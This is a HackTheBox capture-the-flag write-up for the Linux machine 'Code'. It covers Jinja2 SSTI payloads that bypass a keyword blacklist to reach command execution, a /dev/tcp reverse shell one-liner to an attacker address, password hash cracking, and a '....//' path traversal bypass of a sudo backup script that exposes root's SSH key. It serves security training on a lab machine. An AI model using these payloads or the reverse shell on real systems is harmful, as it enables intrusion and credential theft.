Skip to main content
  1. Posts/

Code - HackTheBox Writeup

Linux HackTheBox Command Injection Path Traversal
Table of Contents

Machine Information Table
#

FieldDetails
Machine NameCode
Operating SystemLinux
DifficultyEasy
Release Date22 Mar 2025
CreatorsFisMatHack

Introduction
#

For Code machine the initial foothold is gained by exploiting a Server-Side Template Injection (SSTI) vulnerability in a Flask web application that functions as a Python code editor. From there, we pivot to a user account by cracking a password hash found in a local database. Finally, privilege escalation to root is achieved by exploiting a path traversal vulnerability in a custom backup script that can be run with sudo.

Enumeration
#

Network Scanning
#

As with any engagement, the first step is to perform a thorough port scan to identify open ports and running services.

# Nmap 7.95 scan initiated Fri Jul  4 20:47:57 2025 as: /usr/lib/nmap/nmap --privileged -Pn -sC -sV -p- -oN nmap-full-tcp 10.129.231.240
Nmap scan report for 10.129.231.240
Host is up (0.036s latency).
Not shown: 65464 closed tcp ports (reset), 69 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul  4 20:48:48 2025 -- 1 IP address (1 host up) scanned in 50.87 seconds

Results:

  • Port 22: OpenSSH is running, providing a potential entry point if we find credentials.
  • Port 5000: A web server running Gunicorn 20.0.4 is hosting a “Python Code Editor.” This is our primary attack surface.

Initial foothold
#

Web Application Analysis - Server-Side Template Injection (SSTI)
#

Navigating to port 5000 of machine reveals a web application that allows users to execute Python code. However, attempting to use common libraries or keywords for remote code execution (like import, os, system, eval, globals) results in an error, indicating a blacklist is in place.

Python Code Editor restricted words

Browser tools like Wappalyzer revealed the site was built with the Flask framework. This is a strong indicator that the application might be vulnerable to Server-Side Template Injection (SSTI), as Flask uses the Jinja2 template engine.

My goal was to achieve Remote Code Execution (RCE). A standard Flask SSTI payload to access underlying OS functions is:

request.application.__globals__['os'].popen('{cmd}').read()

However, the keyword globals was blocked. The next step is to find a way to access powerful functions without using blacklisted keywords. In Python, we can achieve this by accessing the base object class and then listing all of its subclasses to find something useful, like below:

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

For this to work index should be known for popen.

Get the object class

The following payload allows us to find the index of the subprocess.Popen class, which is essential for command execution.

Find index of popen

This code iterates through all subclasses and prints the index number for each one.

With the index found (in this case, it was 317), I could now craft a payload to execute arbitrary commands by calling the class directly via its index. Like that:

{{''.__class__.__mro__[1].__subclasses__()[317]('cat /etc/passwd',shell=True,stdout=-1).communicate()}}

Gaining a Shell
#

With confirmed RCE, the next objective was to establish a stable reverse shell. Direct execution of a reverse shell one-liner can sometimes fail due to character restrictions or instability. A more reliable method is to host a shell script on my attacker machine and use the SSTI vulnerability to download and execute it on the target.

bash -c '0<&144-;exec 144<>/dev/tcp/10.10.14.240/1337;sh <&144 >&144 2>&144'

Use the SSTI vulnerability with wget to download the script to the /tmp directory on the target machine:

Download the shell to the machine

Make the script executable with chmod and finally start the netcat on attacker side and run the script.

Get reverse shell

This provided a reverse shell as the www-data user.

User pivot to martin
#

After gaining initial access, I began enumerating the system as www-data. In the /var/www/app/ directory, I discovered a SQLite database file. Inspecting this database revealed a users table containing a username martin and what appeared to be a password hash.

Get db with users

Using a tool like John the Ripper with the popular rockyou.txt wordlist, I was able to crack the hash.

Get martin password

With the martin’s credentials, I successfully logged in via SSH, gaining access to the martin user account.

Get ssh shell as martin

Privilege Escalation
#

Sudo Analysis
#

Once logged in as martin, the first step was to check for sudo privileges.

Martin sudo

The output showed that martin could run the script /usr/bin/backy.sh as root without a password. Analyzing the script was the next logical step.

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

The script is designed to create backups based on a .json configuration file. Crucially, it attempts to prevent path traversal by simply removing all occurrences of ../ from the input. This is a classic, flawed security measure.

I found inside /home/marting/backups the task.json with this configuration.

{
	"destination": "/home/martin/backups/",
	"multiprocessing": true,
	"verbose_log": false,
	"directories_to_archive": [
		"/home/app-production/app"
	],

	"exclude": [
		".*"
	]
}

Exploiting Path Traversal
#

The script’s gsub function replaces ../ with an empty string. This can be bypassed by supplying a string like ….//, which, after the filter is applied, becomes ../ This allows us to traverse the filesystem and access restricted directories.

My plan was to create a malicious task.json file that would:

  1. Use the path traversal bypass to target the /root directory for backup.
  2. Set the backup destination to a folder I control, like /home/martin/.
  3. Remove the exclude rule to ensure hidden files (like .ssh/id_rsa) are included in the archive.

I created the following task.json file:

Backy script

Next, I executed the backup script with sudo, pointing it to my malicious configuration file.

The script ran successfully, creating a .tar.gz archive containing the contents of /root. After extracting the archive, I found the root user’s private SSH key in root/.ssh/id_rsa.

SSH key content

With this key, I was able to log in as the root user via SSH and gain full control of the machine.

Root access

Post-Exploitation Analysis
#

Attack Path Summary
#

The attack path for this machine involved multiple stages, starting with web application exploitation and ending with a privilege escalation based on a flawed script.

My Result on HTB

Web SSTI → Reverse Shell (www-data) → SQLite DB → Password Cracking → SSH (martin) → Sudo Script Path Traversal → Root SSH Key → SSH (root)